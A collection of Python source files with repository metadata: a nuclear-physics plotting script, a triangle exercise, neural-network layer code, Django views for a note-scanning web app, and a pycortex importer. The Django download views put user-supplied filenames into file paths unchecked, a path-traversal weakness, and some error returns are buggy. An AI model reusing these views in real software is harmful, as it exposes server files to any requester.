label=r'$\mathrm{{}^{15}O(1/2^{-})}$') plt.plot(hw1_7, e1_7, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{21}N(1/2^{-})}$') plt.plot(hw1_8, e1_8, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{21}O(5/2^{+})}$') plt.axis([6.0, 30.0, -0.1, 1.0]) ax4.set_xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=15) ax4.set_ylabel(r'$\mathrm{E_{cm}(\widetilde{\omega})\ (MeV)}$', fontsize=15) inset_axes4 = inset_axes(ax4,width="50%",height=1.5,loc=1) plt.plot(hw0_5, hwa_5, '-', marker='o', color='r', linewidth=2.0) plt.plot(hw0_7, hwa_7, '-.', marker='v', color='b', linewidth=2.0) plt.xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=14) plt.ylabel(r'$\mathrm{\hbar\widetilde{\omega}\ (MeV)}$', fontsize=14) annotation_string = r'$\mathrm{^{15}N,^{15}O}$' plt.annotate(annotation_string, fontsize=12, xy=(0.25, 0.75), xycoords='axes fraction') annotation_string = r'$\mathrm{^{21}N,^{21}O}$' plt.annotate(annotation_string, fontsize=12, xy=(0.50, 0.25), xycoords='axes fraction') ax4.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) #ax.xaxis.set_major_locator(majorLocatorX) #ax.xaxis.set_minor_locator(minorLocatorX) #ax.yaxis.set_major_locator(majorLocatorY) #ax.yaxis.set_minor_locator(minorLocatorY) plt.tight_layout() plt.savefig('EOM-CoM.pdf', format='pdf', bbox_inches='tight') plt.show()

33.416382

104

0.563885

import sys import matplotlib import matplotlib.pyplot as plt import numpy as np from matplotlib.ticker import MultipleLocator from matplotlib import gridspec from mpl_toolkits.axes_grid.inset_locator import inset_axes #majorLocatorX = MultipleLocator(2) #minorLocatorX = MultipleLocator(1) #majorLocatorY = MultipleLocator(0.05) #minorLocatorY = MultipleLocator(0.025) filename1 = '/home/sam/Documents/thesis/data/PA_EOM_COM.dat' filename2 = '/home/sam/Documents/thesis/data/PR_EOM_COM.dat' hw0_1 = [] e0_1 = [] hw1_1 = [] e1_1 = [] hwa_1 = [] hw0_2 = [] e0_2 = [] hw1_2 = [] e1_2 = [] hwa_2 = [] hw0_3 = [] e0_3 = [] hw1_3 = [] e1_3 = [] hwa_3 = [] hw0_4 = [] e0_4 = [] hw1_4 = [] e1_4 = [] hwa_4 = [] hw0_5 = [] e0_5 = [] hw1_5 = [] e1_5 = [] hwa_5 = [] hw0_6 = [] e0_6 = [] hw1_6 = [] e1_6 = [] hwa_6 = [] hw0_7 = [] e0_7 = [] hw1_7 = [] e1_7 = [] hwa_7 = [] hw0_8 = [] e0_8 = [] hw1_8 = [] e1_8 = [] hwa_8 = [] with open(filename1) as f1: data1 = f1.read() data1 = data1.split('\n') with open(filename2) as f2: data2 = f2.read() data2 = data2.split('\n') for num in range(len(data1)): line = data1[num].split() if( num - num%6 == 0 ): hw0_1.append(float(line[0])) e0_1.append(float(line[6])) elif( num - num%6 == 6 ): hw0_2.append(float(line[0])) e0_2.append(float(line[6])) elif( num - num%6 == 12 ): hw0_3.append(float(line[0])) e0_3.append(float(line[6])) elif( num - num%6 == 18 ): hw0_4.append(float(line[0])) e0_4.append(float(line[6])) if( num >= 24 and num%2 == 0 ): line2 = data1[num+1].split() if( num >= 24 and num < 36 ): if( float(line[7]) < float(line2[7]) ): hw1_1.append(float(line[0])) e1_1.append(float(line[7])) hwa_1.append(float(line[1])) else: hw1_1.append(float(line2[0])) e1_1.append(float(line2[7])) hwa_1.append(float(line2[1])) if( num >= 36 and num < 48 ): if( float(line[7]) < float(line2[7]) ): hw1_2.append(float(line[0])) e1_2.append(float(line[7])) hwa_2.append(float(line[1])) else: hw1_2.append(float(line2[0])) e1_2.append(float(line2[7])) hwa_2.append(float(line2[1])) if( num >= 48 and num < 60 ): if( float(line[7]) < float(line2[7]) ): hw1_3.append(float(line[0])) e1_3.append(float(line[7])) hwa_3.append(float(line[1])) else: hw1_3.append(float(line2[0])) e1_3.append(float(line2[7])) hwa_3.append(float(line2[1])) if( num >= 60 and num < 72 ): if( float(line[7]) < float(line2[7]) ): hw1_4.append(float(line[0])) e1_4.append(float(line[7])) hwa_4.append(float(line[1])) else: hw1_4.append(float(line2[0])) e1_4.append(float(line2[7])) hwa_4.append(float(line2[1])) for num in range(len(data2)): line = data2[num].split() if( num - num%6 == 0 ): hw0_5.append(float(line[0])) e0_5.append(float(line[6])) elif( num - num%6 == 6 ): hw0_6.append(float(line[0])) e0_6.append(float(line[6])) elif( num - num%6 == 12 ): hw0_7.append(float(line[0])) e0_7.append(float(line[6])) elif( num - num%6 == 18 ): hw0_8.append(float(line[0])) e0_8.append(float(line[6])) if( num >= 24 and num%2 == 0 ): line2 = data2[num+1].split() if( num >= 24 and num < 36 ): if( float(line[7]) < float(line2[7]) ): hw1_5.append(float(line[0])) e1_5.append(float(line[7])) hwa_5.append(float(line[1])) else: hw1_5.append(float(line2[0])) e1_5.append(float(line2[7])) hwa_5.append(float(line2[1])) if( num >= 36 and num < 48 ): if( float(line[7]) < float(line2[7]) ): hw1_6.append(float(line[0])) e1_6.append(float(line[7])) hwa_6.append(float(line[1])) else: hw1_6.append(float(line2[0])) e1_6.append(float(line2[7])) hwa_6.append(float(line2[1])) if( num >= 48 and num < 60 ): if( float(line[7]) < float(line2[7]) ): hw1_7.append(float(line[0])) e1_7.append(float(line[7])) hwa_7.append(float(line[1])) else: hw1_7.append(float(line2[0])) e1_7.append(float(line2[7])) hwa_7.append(float(line2[1])) if( num >= 60 and num < 72 ): if( float(line[7]) < float(line2[7]) ): hw1_8.append(float(line[0])) e1_8.append(float(line[7])) hwa_8.append(float(line[1])) else: hw1_8.append(float(line2[0])) e1_8.append(float(line2[7])) hwa_8.append(float(line2[1])) print(e0_1) print(hw0_1) print(e1_1) print(hw1_1) print(hwa_1) print(e0_2) print(hw0_2) print(e1_2) print(hw1_2) print(hwa_2) print(e0_3) print(hw0_3) print(e1_3) print(hw1_3) print(hwa_3) print(e0_4) print(hw0_4) print(e1_4) print(hw1_4) print(hwa_4) #hw0_1_1 = hw0_1[:-1] #e0_1_1 = e0_1[:-1] #hw0_2_1 = hw0_2[:-1] #e0_2_1 = e0_2[:-1] plt.rc('font', family='serif') fig = plt.figure(figsize=(11, 10)) gs = gridspec.GridSpec(2, 2) ax1 = plt.subplot(gs[0]) plt.plot(hw0_1, e0_1, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{17}O(5/2^{+})}$') plt.plot(hw0_2, e0_2, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{17}F(5/2^{+})}$') plt.plot(hw0_3, e0_3, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{23}O(1/2^{+})}$') plt.plot(hw0_4, e0_4, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{23}F(5/2^{+})}$') plt.axis([6.0, 30.0, -0.5, 9.0]) plt.setp(ax1.get_xticklabels(), visible=False) ax1.set_ylabel(r'$\mathrm{E_{cm}(\omega)\ (MeV)}$', fontsize=15) ax1.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax2 = plt.subplot(gs[1]) plt.plot(hw1_1, e1_1, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{17}O(5/2^{+})}$') plt.plot(hw1_2, e1_2, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{17}F(5/2^{+})}$') plt.plot(hw1_3, e1_3, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{23}O(1/2^{+})}$') plt.plot(hw1_4, e1_4, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{23}F(5/2^{+})}$') plt.axis([6.0, 30.0, 0.0, 1.0]) plt.setp(ax2.get_xticklabels(), visible=False) ax2.set_ylabel(r'$\mathrm{E_{cm}(\widetilde{\omega})\ (MeV)}$', fontsize=15) inset_axes2 = inset_axes(ax2,width="50%",height=1.5,loc=1) plt.plot(hw0_1, hwa_1, '-', marker='o', color='r', linewidth=2.0) plt.plot(hw0_3, hwa_3, '-.', marker='v', color='b', linewidth=2.0) plt.xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=14) plt.ylabel(r'$\mathrm{\hbar\widetilde{\omega}\ (MeV)}$', fontsize=14) annotation_string = r'$\mathrm{^{17}O,^{17}F}$' plt.annotate(annotation_string, fontsize=12, xy=(0.25, 0.75), xycoords='axes fraction') annotation_string = r'$\mathrm{^{23}O,^{23}F}$' plt.annotate(annotation_string, fontsize=12, xy=(0.50, 0.25), xycoords='axes fraction') ax2.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax3 = plt.subplot(gs[2]) plt.plot(hw0_5, e0_5, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{15}N(1/2^{-})}$') plt.plot(hw0_6, e0_6, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{15}O(1/2^{-})}$') plt.plot(hw0_7, e0_7, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{21}N(1/2^{-})}$') plt.plot(hw0_8, e0_8, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{21}O(5/2^{+})}$') plt.axis([6.0, 30.0, -0.5, 10.0]) ax3.set_xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=15) ax3.set_ylabel(r'$\mathrm{E_{cm}(\omega)\ (MeV)}$', fontsize=15) ax3.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) ax4 = plt.subplot(gs[3]) plt.plot(hw1_5, e1_5, '-', marker='o', color='k', linewidth=2.0, label=r'$\mathrm{{}^{15}N(1/2^{-})}$') plt.plot(hw1_6, e1_6, '--', marker='s', color='r', linewidth=2.0, label=r'$\mathrm{{}^{15}O(1/2^{-})}$') plt.plot(hw1_7, e1_7, ':', marker='^', color='b', linewidth=2.0, label=r'$\mathrm{{}^{21}N(1/2^{-})}$') plt.plot(hw1_8, e1_8, '-.', marker='v', color='g', linewidth=2.0, label=r'$\mathrm{{}^{21}O(5/2^{+})}$') plt.axis([6.0, 30.0, -0.1, 1.0]) ax4.set_xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=15) ax4.set_ylabel(r'$\mathrm{E_{cm}(\widetilde{\omega})\ (MeV)}$', fontsize=15) inset_axes4 = inset_axes(ax4,width="50%",height=1.5,loc=1) plt.plot(hw0_5, hwa_5, '-', marker='o', color='r', linewidth=2.0) plt.plot(hw0_7, hwa_7, '-.', marker='v', color='b', linewidth=2.0) plt.xlabel(r'$\mathrm{\hbar\omega\ (MeV)}$', fontsize=14) plt.ylabel(r'$\mathrm{\hbar\widetilde{\omega}\ (MeV)}$', fontsize=14) annotation_string = r'$\mathrm{^{15}N,^{15}O}$' plt.annotate(annotation_string, fontsize=12, xy=(0.25, 0.75), xycoords='axes fraction') annotation_string = r'$\mathrm{^{21}N,^{21}O}$' plt.annotate(annotation_string, fontsize=12, xy=(0.50, 0.25), xycoords='axes fraction') ax4.legend(bbox_to_anchor=(0.325,0.975), frameon=False, fontsize=11) #ax.xaxis.set_major_locator(majorLocatorX) #ax.xaxis.set_minor_locator(minorLocatorX) #ax.yaxis.set_major_locator(majorLocatorY) #ax.yaxis.set_minor_locator(minorLocatorY) plt.tight_layout() plt.savefig('EOM-CoM.pdf', format='pdf', bbox_inches='tight') plt.show()

0

40fe5bd1f5ac1196ee4058078bdcb72613172419

388

py

Python

exercicios/PycharmProjects/exepython/ex042.py

Ojhowribeiro/PythonProjects

a058c0e090a7b96714bbd942c5c03664e4f3744f

[ "MIT" ]

null

exercicios/PycharmProjects/exepython/ex042.py

Ojhowribeiro/PythonProjects

a058c0e090a7b96714bbd942c5c03664e4f3744f

[ "MIT" ]

null

exercicios/PycharmProjects/exepython/ex042.py

Ojhowribeiro/PythonProjects

a058c0e090a7b96714bbd942c5c03664e4f3744f

[ "MIT" ]

null

r1 = float(input('Primeiro segmento: ')) r2 = float(input('segundo segmento: ')) r3 = float(input('terceiro segmento: ')) if r1 < r2 + r3 and r2 < r1 + r3 and r3 < r1 + r2: print('É um triangulo:') if r1 == r2 == r3: print('Equilatero!') elif r1 != r2 != r3 != r1: print('Escaleno!') else: print('Isosceles!') else: print('Nao é um triangulo')

27.714286

50

0.556701

r1 = float(input('Primeiro segmento: ')) r2 = float(input('segundo segmento: ')) r3 = float(input('terceiro segmento: ')) if r1 < r2 + r3 and r2 < r1 + r3 and r3 < r1 + r2: print('É um triangulo:') if r1 == r2 == r3: print('Equilatero!') elif r1 != r2 != r3 != r1: print('Escaleno!') else: print('Isosceles!') else: print('Nao é um triangulo')

0

781de0ee0a125c78df965d3af5495763cc850f0a

5,227

py

Python

assignments/assignment2/layers.py

NadyaStrogankova/dlcourse_ai

d03e3123b9f801fa3d801ab08e7327df5d48be43

[ "MIT" ]

null

assignments/assignment2/layers.py

NadyaStrogankova/dlcourse_ai

d03e3123b9f801fa3d801ab08e7327df5d48be43

[ "MIT" ]

null

assignments/assignment2/layers.py

NadyaStrogankova/dlcourse_ai

d03e3123b9f801fa3d801ab08e7327df5d48be43

[ "MIT" ]

null

import numpy as np def l2_regularization(W, reg_strength): """ Computes L2 regularization loss on weights and its gradient Arguments: W, np array - weights reg_strength - float value Returns: loss, single value - l2 regularization loss gradient, np.array same shape as W - gradient of weight by l2 loss """ # print(W.shape) loss = reg_strength * (W ** 2).sum() grad = 2 * reg_strength * W return loss, grad def softmax_with_cross_entropy(predictions, target_index): """ Computes softmax and cross-entropy loss for model predictions, including the gradient Arguments: predictions, np array, shape is either (N) or (batch_size, N) - classifier output target_index: np array of int, shape is (1) or (batch_size) - index of the true class for given sample(s) Returns: loss, single value - cross-entropy loss dprediction, np array same shape as predictions - gradient of predictions by loss value """ sm = softmax(predictions) # print("softmax count", softmax, e, "sum", sum(e).sum()) # Your final implementation shouldn't have any loops target, ti = targets(target_index, predictions.shape) loss = np.mean(-np.log(sm[ti])) dpredictions = (sm - target) / sm.shape[0] # print("predictions", predictions, "softmax", sm, "target", target, "loss", loss, "grad", dpredictions) return loss, dpredictions.reshape(predictions.shape) class Param: """ Trainable parameter of the model Captures both parameter value and the gradient """ def softmax(predictions): ''' Computes probabilities from scores Arguments: predictions, np array, shape is either (N) or (batch_size, N) - classifier output Returns: probs, np array of the same shape as predictions - probability for every class, 0..1 ''' if predictions.ndim > 1: pred_scaled = predictions.T - predictions.max(axis=1) e = np.exp(pred_scaled) sm = (e / e.sum(axis=0)).T else: pred_scaled = predictions - np.max(predictions) e = np.exp(pred_scaled) sm = np.array(e / sum(e)) # print(np.array(sm)) # Your final implementation shouldn't have any loops return sm

30.213873

109

0.619476

import numpy as np def l2_regularization(W, reg_strength): """ Computes L2 regularization loss on weights and its gradient Arguments: W, np array - weights reg_strength - float value Returns: loss, single value - l2 regularization loss gradient, np.array same shape as W - gradient of weight by l2 loss """ # print(W.shape) loss = reg_strength * (W ** 2).sum() grad = 2 * reg_strength * W return loss, grad def softmax_with_cross_entropy(predictions, target_index): """ Computes softmax and cross-entropy loss for model predictions, including the gradient Arguments: predictions, np array, shape is either (N) or (batch_size, N) - classifier output target_index: np array of int, shape is (1) or (batch_size) - index of the true class for given sample(s) Returns: loss, single value - cross-entropy loss dprediction, np array same shape as predictions - gradient of predictions by loss value """ sm = softmax(predictions) # print("softmax count", softmax, e, "sum", sum(e).sum()) # Your final implementation shouldn't have any loops target, ti = targets(target_index, predictions.shape) loss = np.mean(-np.log(sm[ti])) dpredictions = (sm - target) / sm.shape[0] # print("predictions", predictions, "softmax", sm, "target", target, "loss", loss, "grad", dpredictions) return loss, dpredictions.reshape(predictions.shape) class Param: """ Trainable parameter of the model Captures both parameter value and the gradient """ def __init__(self, value): self.value = value self.grad = np.zeros_like(value) class ReLULayer: def __init__(self): self.param = None def forward(self, X): X_next = np.maximum(X, 0) self.param = Param(X_next) # Hint: you'll need to save some information about X # to use it later in the backward pass # raise Exception("Not implemented!") return X_next def backward(self, d_out): """ Backward pass Arguments: d_out, np array (batch_size, num_features) - gradient of loss function with respect to output Returns: d_result: np array (batch_size, num_features) - gradient with respect to input """ d_result = d_out d_result[self.param.value == 0] = 0 self.grad = d_result # print("backward", d_result, self.param.value) # Your final implementation shouldn't have any loops # raise Exception("Not implemented!") return d_result def params(self): # ReLU Doesn't have any parameters return {} class FullyConnectedLayer: def __init__(self, n_input, n_output): self.W = Param(0.001 * np.random.randn(n_input, n_output)) self.B = Param(0.001 * np.random.randn(1, n_output)) self.X = None def forward(self, X): # print(self.W.value, self.B) X_next = X.dot(self.W.value) + self.B.value # print("shapes", X_next.shape, self.W.value.shape, X) self.param = Param(X_next) self.X = Param(X) return X_next # Your final implementation shouldn't have any loops def backward(self, d_out): """ Backward pass Computes gradient with respect to input and accumulates gradients within self.W and self.B Arguments: d_out, np array (batch_size, n_output) - gradient of loss function with respect to output Returns: d_result: np array (batch_size, n_input) - gradient with respect to input """ # print(d_out, self.W.value.T) d_input = d_out.dot(self.W.value.T) self.grad = d_input # Compute both gradient with respect to input # and gradients with respect to W and B # Add gradients of W and B to their `grad` attribute self.params()['W'].grad = self.X.value.T.dot(d_out) self.params()['B'].grad = np.ones((1, d_out.shape[0])).dot(d_out) # print(d_out.shape, self.params()['B'].grad.shape) # It should be pretty similar to linear classifier from # the previous assignment return d_input def params(self): return {'W': self.W, 'B': self.B} def softmax(predictions): ''' Computes probabilities from scores Arguments: predictions, np array, shape is either (N) or (batch_size, N) - classifier output Returns: probs, np array of the same shape as predictions - probability for every class, 0..1 ''' if predictions.ndim > 1: pred_scaled = predictions.T - predictions.max(axis=1) e = np.exp(pred_scaled) sm = (e / e.sum(axis=0)).T else: pred_scaled = predictions - np.max(predictions) e = np.exp(pred_scaled) sm = np.array(e / sum(e)) # print(np.array(sm)) # Your final implementation shouldn't have any loops return sm def targets(target_index, shape): target = np.zeros(shape) ti = np.arange(len(target_index)), target_index.ravel() target[ti] = 1 return target, ti

1,044

1,785

96

15695184dfd4802255290df2638fee74c61572f8

6,494

py

Python

noteshrinker/views.py

rejgan318/noteshrinker-django

65d32b8c15133bbf37104ba152710b6818ddc573

[ "MIT" ]

165

2016-09-29T01:32:44.000Z

2022-03-10T22:36:40.000Z

noteshrinker/views.py

rejgan318/noteshrinker-django

65d32b8c15133bbf37104ba152710b6818ddc573

[ "MIT" ]

8

2016-10-26T05:47:17.000Z

2021-06-27T13:36:25.000Z

noteshrinker/views.py

rejgan318/noteshrinker-django

65d32b8c15133bbf37104ba152710b6818ddc573

[ "MIT" ]

30

2016-10-23T23:47:08.000Z

2021-12-26T11:11:03.000Z

import json import os import random import string import zipfile from django.conf import settings from django.http import Http404, JsonResponse, HttpResponseBadRequest from django.http import HttpResponse from django.shortcuts import render from django.views.decorators.http import require_POST, require_GET from django.views.generic import CreateView, DeleteView, ListView from .models import Picture from .noteshrink_module import AttrDict, notescan_main from .response import JSONResponse, response_mimetype from .serialize import serialize @require_GET # TODO: 1. Сделать чтобы сохранялись загруженные файлы по сессии - Make uploaded files save between session using session key # DONE: 2. Удалять сразу не разрешенные файлы - не загружаются - Don't upload from file extensions # TODO: 3. Проверять отсутсвующие параметры в shrink - Check for missing params in shrink # DONE: 4. Проверять, существуют ли папки PNG_ROOT и PDF_ROOT - создавать если нет - Check for PNG_ROOT and PDF_ROOT # TODO: 5. Проверять максимальную длину названий файлов - Check for maximum filename length # DONE: 6. Сделать кнопку для резета - Make a reset button # DONE: 7. Сделать view для загрузки ZIP-архива картинок - Make a zip-archive download view # DONE: 8. Кнопка очистить очищает список загруженных файлов в window, деактивирует кнопку скачать - Clear button must clear window._uploadedFiles, deactivates download button @require_POST

42.168831

175

0.695873

import json import os import random import string import zipfile from django.conf import settings from django.http import Http404, JsonResponse, HttpResponseBadRequest from django.http import HttpResponse from django.shortcuts import render from django.views.decorators.http import require_POST, require_GET from django.views.generic import CreateView, DeleteView, ListView from .models import Picture from .noteshrink_module import AttrDict, notescan_main from .response import JSONResponse, response_mimetype from .serialize import serialize def random_string(N): return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N)) @require_GET def download_pdf(request): filename = request.GET['filename'] file_path = os.path.join(settings.PDF_ROOT, filename) if os.path.exists(file_path): with open(file_path, 'rb') as fh: response = HttpResponse(fh.read(), content_type="application/pdf") response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(file_path) + ".pdf" return response else: return HttpResponseBadRequest() def download_zip(request): images = request.GET.getlist('images') compression = zipfile.ZIP_DEFLATED image_prefix = images[0][:images[0].find('_')] zipfile_name = os.path.join(settings.PNG_ROOT, 'noteshrinker_' + image_prefix + '_' + str(len(images)) + '.zip') zf = zipfile.ZipFile(zipfile_name, mode='w', compression=compression) for filename in images: file_path = os.path.join(settings.PNG_ROOT, filename) if os.path.exists(file_path): zf.write(file_path, arcname=filename) else: return HttpResponseBadRequest zf.close() with open(zipfile_name, 'rb') as fh: response = HttpResponse(fh.read(), content_type="application/x-zip-compressed") response['Content-Disposition'] = 'attachment; filename=' + os.path.basename(zipfile_name) return response def index(request): return render(request, 'index.html') # TODO: 1. Сделать чтобы сохранялись загруженные файлы по сессии - Make uploaded files save between session using session key # DONE: 2. Удалять сразу не разрешенные файлы - не загружаются - Don't upload from file extensions # TODO: 3. Проверять отсутсвующие параметры в shrink - Check for missing params in shrink # DONE: 4. Проверять, существуют ли папки PNG_ROOT и PDF_ROOT - создавать если нет - Check for PNG_ROOT and PDF_ROOT # TODO: 5. Проверять максимальную длину названий файлов - Check for maximum filename length # DONE: 6. Сделать кнопку для резета - Make a reset button # DONE: 7. Сделать view для загрузки ZIP-архива картинок - Make a zip-archive download view # DONE: 8. Кнопка очистить очищает список загруженных файлов в window, деактивирует кнопку скачать - Clear button must clear window._uploadedFiles, deactivates download button @require_POST def shrink(request): files = request.POST.getlist('files[]') existing_files = [] for i in files: path = os.path.join(settings.MEDIA_ROOT, 'pictures', i) if os.path.exists(path): existing_files.append(path) if len(existing_files) == 0: return Http404 on_off = lambda x: True if x == 'on' else False try: num_colors = int(request.POST['num_colors']) sample_fraction = float(request.POST['sample_fraction']) * 0.01 sat_threshold = float(request.POST['sat_threshold']) value_threshold = float(request.POST['value_threshold']) except ValueError as e: return HttpResponseBadRequest(str(e)) if request.POST['pdfname'].find('.pdf') == -1: pdfname = random_string(settings.RANDOM_STRING_LEN) + "_" + request.POST['pdfname'] + '.pdf' else: pdfname = random_string(settings.RANDOM_STRING_LEN) + "_" + request.POST['pdfname'] basename = random_string(settings.RANDOM_STRING_LEN) + "_" + request.POST['basename'] options = { "basename": basename, # базовое название для картинки "filenames": existing_files, # массив путей к файлам "global_palette": on_off(request.POST['global_palette']), # одна палитра для всех картинок "num_colors": num_colors, # цветов на выходе "pdf_cmd": 'convert %i %o', # команда для пдф "pdfname": os.path.join(settings.PDF_ROOT, pdfname), # название выходного пдф файла "postprocess_cmd": None, "postprocess_ext": '_post.png', # название после процессинга (?) "quiet": False, # сократить выдачу "sample_fraction": sample_fraction, # пикселей брать за образец в % "sat_threshold": sat_threshold, # насыщенность фона "saturate": True, # насыщать "sort_numerically": on_off(request.POST['sort_numerically']), # оставить порядок следования "value_threshold": value_threshold, # пороговое значение фона "white_bg": on_off(request.POST['white_bg']), # белый фон "picture_folder": settings.PNG_ROOT # куда сохранять картинки } pngs, pdf = notescan_main(AttrDict(options)) return JsonResponse({"pngs": pngs, "pdf": pdfname}) class PictureCreateView(CreateView): model = Picture fields = "__all__" template_name = 'index.html' def form_valid(self, form): self.object = form.save() files = [serialize(self.object)] data = {'files': files} response = JSONResponse(data, mimetype=response_mimetype(self.request)) response['Content-Disposition'] = 'inline; filename=files.json' return response def form_invalid(self, form): data = json.dumps(form.errors) return HttpResponse(content=data, status=400, content_type='application/json') class PictureDeleteView(DeleteView): model = Picture def delete(self, request, *args, **kwargs): self.object = self.get_object() self.object.delete() response = JSONResponse(True, mimetype=response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response class PictureListView(ListView): model = Picture def render_to_response(self, context, **response_kwargs): files = [serialize(p) for p in self.get_queryset()] data = {'files': files} response = JSONResponse(data, mimetype=response_mimetype(self.request)) response['Content-Disposition'] = 'inline; filename=files.json' return response

4,896

265

182

6340455722a0e233ef3782030c5cda6f4f9191ee

3,304

py

Python

cortex/fmriprep.py

alebel14/pycortex

c8d75b3108cb981fde88f7ebb70592bd3f69a3ea

[ "BSD-2-Clause" ]

1

2020-09-30T02:11:27.000Z

cortex/fmriprep.py

alebel14/pycortex

c8d75b3108cb981fde88f7ebb70592bd3f69a3ea

[ "BSD-2-Clause" ]

null

cortex/fmriprep.py

alebel14/pycortex

c8d75b3108cb981fde88f7ebb70592bd3f69a3ea

[ "BSD-2-Clause" ]

1

2019-03-04T02:45:59.000Z

from . import database import os.path as op import shutil from .freesurfer import parse_curv import numpy as np def import_subj(subject, source_dir, session=None, sname=None): """Imports a subject from fmriprep-output. See https://fmriprep.readthedocs.io/en/stable/ Parameters ---------- subject : string Fmriprep subject name (without "sub-") source_dir : string Local directory that contains both fmriprep and freesurfer subfolders session : string, optional BIDS session that contains the anatomical data (leave to default if not a specific session) sname : string, optional Pycortex subject name (These variable names should be changed). By default uses the same name as the freesurfer subject. """ if sname is None: sname = subject database.db.make_subj(sname) surfs = op.join(database.default_filestore, sname, "surfaces", "{name}_{hemi}.gii") anats = op.join(database.default_filestore, sname, "anatomicals", "{name}.nii.gz") surfinfo = op.join(database.default_filestore, sname, "surface-info", "{name}.npz") fmriprep_dir = op.join(source_dir, 'fmriprep') if session is not None: fmriprep_dir = op.join(fmriprep_dir, 'ses-{session}') session_str = '_ses-{session}'.format(session=session) else: session_str = '' # import anatomical data fmriprep_dir = op.join(fmriprep_dir, 'sub-{subject}', 'anat') t1w = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_preproc.nii.gz') aseg = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_label-aseg_roi.nii.gz') for fmp_fn, out_fn in zip([t1w.format(subject=subject, session_str=session_str), aseg.format(subject=subject, session_str=session_str)], [anats.format(name='raw'), anats.format(name='aseg')]): shutil.copy(fmp_fn, out_fn) #import surfaces fmpsurf = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_').format(subject=subject, session_str=session_str) fmpsurf = fmpsurf + '{fmpname}.{fmphemi}.surf.gii' for fmpname, name in zip(['smoothwm', 'pial', 'midthickness', 'inflated'], ['wm', 'pia', 'fiducial', 'inflated']): for fmphemi, hemi in zip(['L', 'R'], ['lh', 'rh']): source = fmpsurf.format(fmpname=fmpname, fmphemi=fmphemi) target = str(surfs.format(subj=sname, name=name, hemi=hemi)) shutil.copy(source, target) #import surfinfo curvs = op.join(source_dir, 'freesurfer', 'sub-{subject}', 'surf', '{hemi}.{info}') for curv, info in dict(sulc="sulcaldepth", thickness="thickness", curv="curvature").items(): lh, rh = [parse_curv(curvs.format(hemi=hemi, info=curv, subject=subject)) for hemi in ['lh', 'rh']] np.savez(surfinfo.format(subj=sname, name=info), left=-lh, right=-rh) database.db = database.Database()

38.870588

107

0.58414

from . import database import os.path as op import shutil from .freesurfer import parse_curv import numpy as np def import_subj(subject, source_dir, session=None, sname=None): """Imports a subject from fmriprep-output. See https://fmriprep.readthedocs.io/en/stable/ Parameters ---------- subject : string Fmriprep subject name (without "sub-") source_dir : string Local directory that contains both fmriprep and freesurfer subfolders session : string, optional BIDS session that contains the anatomical data (leave to default if not a specific session) sname : string, optional Pycortex subject name (These variable names should be changed). By default uses the same name as the freesurfer subject. """ if sname is None: sname = subject database.db.make_subj(sname) surfs = op.join(database.default_filestore, sname, "surfaces", "{name}_{hemi}.gii") anats = op.join(database.default_filestore, sname, "anatomicals", "{name}.nii.gz") surfinfo = op.join(database.default_filestore, sname, "surface-info", "{name}.npz") fmriprep_dir = op.join(source_dir, 'fmriprep') if session is not None: fmriprep_dir = op.join(fmriprep_dir, 'ses-{session}') session_str = '_ses-{session}'.format(session=session) else: session_str = '' # import anatomical data fmriprep_dir = op.join(fmriprep_dir, 'sub-{subject}', 'anat') t1w = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_preproc.nii.gz') aseg = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_label-aseg_roi.nii.gz') for fmp_fn, out_fn in zip([t1w.format(subject=subject, session_str=session_str), aseg.format(subject=subject, session_str=session_str)], [anats.format(name='raw'), anats.format(name='aseg')]): shutil.copy(fmp_fn, out_fn) #import surfaces fmpsurf = op.join(fmriprep_dir, 'sub-{subject}{session_str}_T1w_').format(subject=subject, session_str=session_str) fmpsurf = fmpsurf + '{fmpname}.{fmphemi}.surf.gii' for fmpname, name in zip(['smoothwm', 'pial', 'midthickness', 'inflated'], ['wm', 'pia', 'fiducial', 'inflated']): for fmphemi, hemi in zip(['L', 'R'], ['lh', 'rh']): source = fmpsurf.format(fmpname=fmpname, fmphemi=fmphemi) target = str(surfs.format(subj=sname, name=name, hemi=hemi)) shutil.copy(source, target) #import surfinfo curvs = op.join(source_dir, 'freesurfer', 'sub-{subject}', 'surf', '{hemi}.{info}') for curv, info in dict(sulc="sulcaldepth", thickness="thickness", curv="curvature").items(): lh, rh = [parse_curv(curvs.format(hemi=hemi, info=curv, subject=subject)) for hemi in ['lh', 'rh']] np.savez(surfinfo.format(subj=sname, name=info), left=-lh, right=-rh) database.db = database.Database()

0

02ddb609928a9cb820ef7a22bc662c645b8fa8ed

1,218

py

Python

radix/__init__.py

otetard/py-radix

